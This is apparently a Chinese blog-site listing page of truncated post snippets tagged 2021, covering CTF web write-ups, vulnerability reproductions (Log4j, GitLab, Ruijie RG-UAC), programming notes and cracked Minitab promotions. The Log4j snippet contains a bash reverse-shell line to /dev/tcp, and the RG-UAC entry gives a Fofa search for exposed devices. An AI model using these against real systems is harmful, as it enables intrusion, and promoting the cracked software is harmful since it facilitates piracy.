project0 project 15445 2021
[SWPUCTF 2021 新生赛]easyupload3.0
[SWPUCTF 2021 新生赛]easyupload3.0 题目来源：nssctf 题目类型：web 涉及考点：文件上传 > easyupload2.0就不写wp了，具体做法跟1.0差不多，不过在bp中把后缀名改成pht上传即可，1.0详见：[SWPUCTF 2021 新生赛]easyuploa ......
[SWPUCTF 2021 新生赛]easyupload1
[SWPUCTF 2021 新生赛]easyupload1.0 题目来源：nssctf 题目类型：web 涉及考点：文件上传 > 真服了，昨天写了wp忘记传了 > 最近准备学一下文件上传，就拿这道题开始吧 1. 简单介绍一下文件上传漏洞 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处 ......
Android Studio的project中两个build.gradle配置的区别
classpath的作用： buildscript itself needs something to run, use classpath complie的作用： your project needs something to run, use compile 在Project中的gradle的d ......
【漏洞复现】【CNVD-2021-14536】锐捷RG-UAC信息泄露
仅供学习和预防，切记切记不要随意登陆和修改任何东西！！！以免带来不必要的麻烦。 简介：捷RG-UAC上网行为管理信息泄漏漏洞，攻击者可以通过审查网页源代码获取到用户账号和密码。 1.使用Fofa搜索互联网资产 语法：title="RG-UAC登录页面" && body="admin" 2.打开链接， ......
Minitab 2021(统计分析管理软件)v21.4 (x64)中文永久使用
Minitab是一款流行的统计分析和质量管理软件，被广泛应用于各个行业和领域。它提供了丰富的统计方法和工具，帮助用户进行数据分析、质量改进和决策制定。 点击获取Minitab 首先，Minitab具备强大的数据分析功能。它支持多种数据导入方式，用户可以从Excel、SQL数据库等来源导入数据进行分析 ......
前端 Vue 应该知道的一些东西，个人笔记 2021-11-26
## 前端代码编写规范及es6常用语法 1. 命名规范 ``` 文件夹名称，文件名称，组件名称，统一使用大驼峰或者 小横线方式命名； 组件文件名: list-item.vue.或者ListItem.vue; 基础的无状态的通用组件加V Base App前缀 BaseButton AppButton ......
个人整理的一些零碎笔记 2021-12-13
df -lh 接下来的四个字段 Size、Used、Avail、及 Use% 分别是该分割区的容量、已使用的大小、剩下的大小、及使用的百分比 du命令：查询文件或文件夹的磁盘使用空间 如果当前目录下文件和文件夹很多 使用不带参数du的命令，可以循环列出所有文件和文件夹所使用的空间。这对查看究竟是那个 ......
[第五空间 2021]pklovecloud
[第五空间 2021]pklovecloud 题目来源：nssctf 题目类型：web 涉及考点：POP链 1. 先做代码审计 ```php cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return ......
【kruskal重构树，倍增】2021 ICPC Asia Shanghai - H. Life is a Game
# 【kruskal重构树，倍增】2021 ICPC Asia Shanghai - H. Life is a Game 题目链接：[Problem - H - Codeforces 问题 - H - Codeforces](https://codeforces.com/gym/103446/pro ......
GDOI2021普及组 游记
## 前言 - 众所周知，2021年是GDOI第一年有普及组，~~所以本蒟蒻才敢报~~ - 一场比赛也异常的贵，800元 - 不过可以去深圳游一游，还是挺期待的 ## Day-0 傍晚差不多5:30到**深圳耀华实验学校**，第一眼就爱上了这个学校，教学楼的实际风格十分现代化 去食堂吃晚饭,~~这不 ......
2023Spring project1
 # Task1:LRU-K Replacement Policy LRU-K算法，用于在Replace ......
ESF、Z-projection和M2DP论文阅读
## ESF ### Title标题 【2011 [ICRB](https://ieeexplore.ieee.org/document/6181760/)】ESF：Ensemble of Shape Functions for 3D Object Classification. 【[code](h ......
洛谷 P7911 [CSP-J 2021] 网络连接 题解
# 写在前面 一道普及级别的题目。CSP-J 全国统一命题 2021年第三题。 本题解来自于一位真正的大佬。传送门https://www.luogu.com.cn/blog/xyf007/solution-p7911。 题面信息来源于洛谷。请访问https://www.luogu.com.cn/pr ......
CMU15445-2023 笔记：Project 0 - Copy-On-Write Trie
# CMU15445-2023 笔记：Project 0 - Copy-On-Write Trie In this project, you will implement a key-value store backed by a copy-on-write trie. Tries are effi ......
[NOI2021] 路径交点 题解
# [NOI2021] 路径交点 题解 ## 题意 给定一张 $k$ 层的有向图，第 $i$ 层有 $n_i$ 个顶点，第 $1$ 层与第 $k$ 层**顶点数相同**。对于第 $j$ $(1 \leq j using namespace std; const int N = 205; ......
CVE-2021-22204 GitLab RCE之exiftool代码执行漏洞深入分析（二）
上一篇CVE-2021-22205 GitLab RCE之未授权访问深入分析(一)复现分析了第一部分也就是携带恶意文件的请求是如何通过gitlab传递到exiftool进行解析的，接下来我将分析exiftool漏洞的原理和最后的触发利用。 希望读者能读有所得，从中收获到自己独特的见解。 ......
CVE-2021-22205 GitLab RCE之未授权访问深入分析(一)
> 文章写于2021-11-29，首发在[天融信阿尔法实验室](https://mp.weixin.qq.com/s/Y4mGVhbc3agp1adnUs1GmA) ## 前言 安全研究员`vakzz`于4月7日在hackerone上提交了一个关于gitlab的[RCE漏洞](https://hac ......
build project using makefile
1 #include <Windows.h> 2 3 int main() 4 { 5 //system("dir"); 6 //system("arm-none-eabi-gcc -v"); 7 //system("cmake --version"); 8 system("cd /d G:\\st ......
[SWPUCTF 2021 新生赛]pop
# 题目源码 ```php admin 'w44m' && $this->passwd '08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } ......
Minitab 2021 - 统计分析管理软件
Minitab 2021 是一款功能强大的统计分析管理软件，广泛应用于质量管理、数据分析、实验设计和质量改进等领域。 点击获取Minitab 2021 数据导入和管理：Minitab 2021 提供了灵活的数据导入和管理功能，可以导入各种常见格式的数据文件，如文本文件、Excel 表格、数据库等。用 ......
AndroidStudio2021.3logcat工具无法显示日志解决办法
AndroidStudio2021.3logcat工具无法显示日志解决办法 https://blog.csdn.net/weixin_43623271/article/details/127876964 1.File -> setting2.搜索logcat, ->ExperimentalunChk ......
2021年电工证模拟考试试题及答案(完整版)，逢考必过神器！
俗话说：工欲善其事必先利其器！持证上岗，考取电工证是成为一名优秀电工的第一步。 近来，很多电工同行在后台询问小编有没有2021年电工考试试题及答案，故小编花了很大的精力整理出一份电工自测考题。本份试卷共80道题目，包含10道判断题、50道选择题和20道多选题，完全模拟电工证考试题型，附答案！ 这份电 ......
CVE-2021-44228 Apache log4j2远程代码执行漏洞
漏洞复现 验证是否存在apache log4j2漏洞 https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 反弹shell bash -i >& /dev/tcp/ip/port 0>&1 将此命令进行javarunti ......
【THM】OWASP 前10名—2021
参考链接：https://www.cnblogs.com/Hekeats-L/p/16964401.html 介绍 该房间对每个 OWASP 主题进行了详细分析，并包含有关漏洞、它们如何发生以及如何利用它们的详细信息。您将通过完成支持性挑战将理论付诸实践。 访问控制损坏 加密失败 注射 不安全的设计 ......
【专题】2021-2022年中国母婴行业新媒体营销价值研究报告PDF合集分享（附原数据表）
报告链接：http://tecdat.cn/?p=31424 人口出生红利消失，以及后疫情时代的冲击，但消费升级将负面因素拉平，母婴消费市场总量持续稳步上升。"精致妈妈"的营销价值日益凸显。阅读原文，获取专题报告合集全文，解锁文末56份母婴行业相关报告。 当母婴人群成为众多母婴及家庭消费品的重要入口 ......
Vulnhub: BlueMoon: 2021靶机
kali：192.168.111.111 靶机：192.168.111.174 # 信息收集 端口扫描 ``` nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.174 ``` ![image](https://img2023.cnb ......
CF626F. Group Projects
我是傻逼。 哈哈，现在还想不到拆贡献，小丑一个。 人的输入顺序不重要，先排个序。这个 $\text{max}-\text{min}$ 可以看作两两之差的和。定义 $f_{i,j,k}$ 表示考虑前 $i$ 个人，有 $j$ 个组没有确定最大值，目前不和谐度之和为 $k$ 的方案数，转移分四种情况： ......
[鹤城杯 2021]EasyP
[鹤城杯 2021]EasyP 题目来源：nssctf 题目类型：web 涉及考点：正则绕过 1. 还是先做代码审计 ```php ``` 这题出现了挺多没见过的东西，还是先介绍一下： > $_SERVER[...]：是一个包含了诸如头信息（header）、路径（path）、以及脚本位置（scrip ......
How to build a VUE project
# 1.Download node.js in your computer * The download address of Node.js ：https://nodejs.org/zh-cn/download/ ![image](https://img2023.cnblogs.com/blog/ ......